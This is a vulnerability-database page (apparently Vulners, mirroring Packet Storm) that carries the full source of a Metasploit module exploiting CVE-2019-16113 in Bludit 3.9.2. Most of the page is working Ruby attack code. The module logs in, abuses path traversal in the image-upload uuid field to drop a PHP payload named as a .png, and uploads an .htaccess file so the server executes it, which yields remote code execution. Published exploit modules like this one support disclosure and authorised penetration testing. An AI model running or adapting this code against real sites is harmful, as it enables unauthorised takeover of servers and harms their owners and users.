Lucene search
+L

Bludit Directory Traversal Image File Upload

🗓️ 12 Nov 2019 00:00:00Reported by sinn3rType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 125 Views

Bludit Directory Traversal Image Uploa

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Bludit - Directory Traversal Image File Upload Exploit
20 Nov 201900:00
zdt
zdt
zdt
Bludit 3.9.12 - Directory Traversal Vulnerability
9 Jun 202000:00
zdt
zdt
zdt
Bludit 3.9.2 - Directory Traversal Exploit
27 Jul 202000:00
zdt
githubexploit
GithubExploit
Exploit for CVE-2016-16113
7 Jan 202618:57
githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Bludit
4 Jun 202016:06
githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Bludit
9 Jun 202012:39
githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Bludit
3 Jun 202015:49
githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Bludit
3 Jul 202008:37
githubexploit
attackerkb
ATTACKERKB
Bludit 3.9.2 remote code execution
8 Sep 201900:00
attackerkb
circl
Circl
CVE-2019-16113
12 Nov 201921:52
circl
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::PhpEXE  
include Msf::Exploit::FileDropper  
include Msf::Auxiliary::Report  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Bludit Directory Traversal Image File Upload Vulnerability",  
'Description' => %q{  
This module exploits a vulnerability in Bludit. A remote user could abuse the uuid  
parameter in the image upload feature in order to save a malicious payload anywhere  
onto the server, and then use a custom .htaccess file to bypass the file extension  
check to finally get remote code execution.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'christasa', # Original discovery  
'sinn3r' # Metasploit module  
],  
'References' =>  
[  
['CVE', '2019-16113'],  
['URL', 'https://github.com/bludit/bludit/issues/1081'],  
['URL', 'https://github.com/bludit/bludit/commit/a9640ff6b5f2c0fa770ad7758daf24fec6fbf3f5#diff-6f5ea518e6fc98fb4c16830bbf9f5dac' ]  
],  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Notes' =>  
{  
'SideEffects' => [ IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ CRASH_SAFE ]  
},  
'Targets' =>  
[  
[ 'Bludit v3.9.2', {} ]  
],  
'Privileged' => false,  
'DisclosureDate' => "2019-09-07",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path for Bludit', '/']),  
OptString.new('BLUDITUSER', [true, 'The username for Bludit']),  
OptString.new('BLUDITPASS', [true, 'The password for Bludit'])  
])  
end  
  
class PhpPayload  
attr_reader :payload  
attr_reader :name  
  
def initialize(p)  
@payload = p  
@name = "#{Rex::Text.rand_text_alpha(10)}.png"  
end  
end  
  
class LoginBadge  
attr_reader :username  
attr_reader :password  
attr_accessor :csrf_token  
attr_accessor :bludit_key  
  
def initialize(user, pass, token, key)  
@username = user  
@password = pass  
@csrf_token = token  
@bludit_key = key  
end  
end  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'index.php')  
})  
  
unless res  
vprint_error('Connection timed out')  
return CheckCode::Unknown  
end  
  
html = res.get_html_document  
generator_tag = html.at('meta[@name="generator"]')  
unless generator_tag  
vprint_error('No generator metadata tag found in HTML')  
return CheckCode::Safe  
end  
  
content_attr = generator_tag.attributes['content']  
unless content_attr  
vprint_error("No content attribute found in metadata tag")  
return CheckCode::Safe  
end  
  
if content_attr.value == 'Bludit'  
return CheckCode::Detected  
end  
  
CheckCode::Safe  
end  
  
def get_uuid(login_badge)  
print_status('Retrieving UUID...')  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'admin', 'new-content', 'index.php'),  
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};"  
})  
  
unless res  
fail_with(Failure::Unknown, 'Connection timed out')  
end  
  
html = res.get_html_document  
uuid_element = html.at('input[@name="uuid"]')  
unless uuid_element  
fail_with(Failure::Unknown, 'No UUID found in admin/new-content/')  
end  
  
uuid_val = uuid_element.attributes['value']  
unless uuid_val && uuid_val.respond_to?(:value)  
fail_with(Failure::Unknown, 'No UUID value')  
end  
  
uuid_val.value  
end  
  
def upload_file(login_badge, uuid, content, fname)  
print_status("Uploading #{fname}...")  
  
data = Rex::MIME::Message.new  
data.add_part(content, 'image/png', nil, "form-data; name=\"images[]\"; filename=\"#{fname}\"")  
data.add_part(uuid, nil, nil, 'form-data; name="uuid"')  
data.add_part(login_badge.csrf_token, nil, nil, 'form-data; name="tokenCSRF"')  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax', 'upload-images'),  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",  
'headers' => {'X-Requested-With' => 'XMLHttpRequest'},  
'data' => data.to_s  
})  
  
unless res  
fail_with(Failure::Unknown, 'Connection timed out')  
end  
end  
  
def upload_php_payload_and_exec(login_badge)  
# From: /var/www/html/bludit/bl-content/uploads/pages/5821e70ef1a8309cb835ccc9cec0fb35/  
# To: /var/www/html/bludit/bl-content/tmp  
uuid = get_uuid(login_badge)  
php_payload = get_php_payload  
upload_file(login_badge, '../../tmp', php_payload.payload, php_payload.name)  
  
# On the vuln app, this line occurs first:  
# Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);  
# Even though there is a file extension check, it won't really stop us  
# from uploading the .htaccess file.  
htaccess = <<~HTA  
RewriteEngine off  
AddType application/x-httpd-php .png  
HTA  
upload_file(login_badge, uuid, htaccess, ".htaccess")  
register_file_for_cleanup('.htaccess')  
  
print_status("Executing #{php_payload.name}...")  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'bl-content', 'tmp', php_payload.name)  
})  
end  
  
def get_php_payload  
@php_payload ||= PhpPayload.new(get_write_exec_payload(unlink_self: true))  
end  
  
def get_login_badge(res)  
cookies = res.get_cookies  
bludit_key = cookies.scan(/BLUDIT\-KEY=(.+);/i).flatten.first || ''  
  
html = res.get_html_document  
csrf_element = html.at('input[@name="tokenCSRF"]')  
unless csrf_element  
fail_with(Failure::Unknown, 'No tokenCSRF found')  
end  
  
csrf_val = csrf_element.attributes['value']  
unless csrf_val && csrf_val.respond_to?(:value)  
fail_with(Failure::Unknown, 'No tokenCSRF value')  
end  
  
LoginBadge.new(datastore['BLUDITUSER'], datastore['BLUDITPASS'], csrf_val.value, bludit_key)  
end  
  
def do_login  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')  
})  
  
unless res  
fail_with(Failure::Unknown, 'Connection timed out')  
end  
  
login_badge = get_login_badge(res)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),  
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",  
'vars_post' =>  
{  
'tokenCSRF' => login_badge.csrf_token,  
'username' => login_badge.username,  
'password' => login_badge.password  
}  
})  
  
unless res  
fail_with(Failure::Unknown, 'Connection timed out')  
end  
  
# A new csrf value is generated, need to update this for the upload  
if res.headers['Location'].to_s.include?('/admin/dashboard')  
store_valid_credential(user: login_badge.username, private: login_badge.password)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'admin', 'dashboard', 'index.php'),  
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",  
})  
  
unless res  
fail_with(Failure::Unknown, 'Connection timed out')  
end  
  
new_csrf = res.body.scan(/var tokenCSRF = "(.+)";/).flatten.first  
login_badge.csrf_token = new_csrf if new_csrf  
return login_badge  
end  
  
fail_with(Failure::NoAccess, 'Authentication failed')  
end  
  
def exploit  
login_badge = do_login  
print_good("Logged in as: #{login_badge.username}")  
upload_php_payload_and_exec(login_badge)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation